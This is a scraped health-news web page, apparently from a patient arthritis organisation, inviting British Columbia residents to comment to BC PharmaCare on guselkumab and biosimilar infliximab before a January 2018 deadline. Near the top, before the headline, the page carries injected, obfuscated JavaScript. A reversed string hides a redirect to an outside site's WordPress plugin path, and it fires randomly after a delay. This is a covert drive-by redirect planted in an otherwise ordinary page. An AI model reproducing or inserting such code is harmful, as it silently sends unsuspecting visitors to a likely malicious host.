Arthritis news. Anytime. Anywhere.

$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and biosimilar infliximab" rel="bookmark">Reminder: Let BC PharmaCare hear “Your Voice” on guselkumab and biosimilar infliximab

Stickman with megaphone calling for patient inputBC PharmaCare is looking for your input on guselkumab (Tremfya™) for the treatment of plaque psoriasis and biosimilar infliximab (Renflexis™) for the treatment of ankylosing spondylitis, adult or pediatric Crohn’s disease, plaque psoriasis, psoriatic arthritis, rheumatoid arthritis, and adult or pediatric ulcerative colitis

Guselkumab (Tremfya™) and biosimilar infliximab (Renflexis™) is now being considered for coverage under the British Columbia Ministry of Health’s PharmaCare program. By filling out a questionnaire on a website called Your Voice, you can provide your input on:

  1. guselkumab for the treatment of plaque psoriasisPatients and caregivers may give their input directly through the links below:

    To view the information sheet for guselkumab: click here

    • For the Patient Questionnaire: click here
    • For the Caregiver Questionnaire: click here
    • For the Patient Group Questionnaire: click here (Patient groups are required to register their name with the Ministry of Health before making their submission.)
  2. biosimilar infliximab for the treatment of ankylosing spondylitis (AS), adult or pediatric Crohn’s disease, plaque psoriasis, psoriatic arthritis (PsA), rheumatoid arthritis (RA), and adult or pediatric ulcerative colitis (UC)Patients and caregivers may give their input directly through the links below:

    To view the information sheet for biosimilar infliximab: click here

    • For the Patient Questionnaire: click here
    • For the Caregiver Questionnaire: click here
    • For the Patient Group Questionnaire: click here (Patient groups are required to register their name with the Ministry of Health before making their submission.)

You can give input if you are a B.C. resident and have AS, Crohn’s disease, plaque psoriasis, PsA, RA and UC, a caregiver to someone with any of these diseases or if your group represents people who live with any of these diseases.

If you would like our help in providing your input, you can email us your input at feedback@jointhealth.org or call us at 604-974-1366. We can send it as a patient organization on your behalf. Please provide your input to us by Monday, January 15 so that we may submit the questionnaire in time for the deadline. The submission deadline is 11:59pm on January 17, 2018.

The input is reviewed by the Drug Benefit Council, which then gives recommendations on whether a medication should be covered, and how, by BC PharmaCare. BC PharmaCare then makes a decision based on those recommendations and available resources. Policies and plans already in place also factor in the decision making process.

This is an opportunity for you to share your perspectives on medication decisions that affect you or someone you provide care for.

and biosimilar infliximab"; var disqus_config = function () { var config = this; // Access to the config object this.language = page_lang; // This is set in the index header this.hide_avatars = true; }; /* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */ //var disqus_shortname = 'example'; // required: replace example with your forum shortname /* * * DON'T EDIT BELOW THIS LINE * * */ (function() { var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); })(); (function () { var s = document.createElement('script'); s.async = true; s.type = 'text/javascript'; s.src = 'http://' + disqus_shortname + '.disqus.com/count.js'; (document.getElementsByTagName('HEAD')[0] || document.getElementsByTagName('BODY')[0]).appendChild(s); }()); }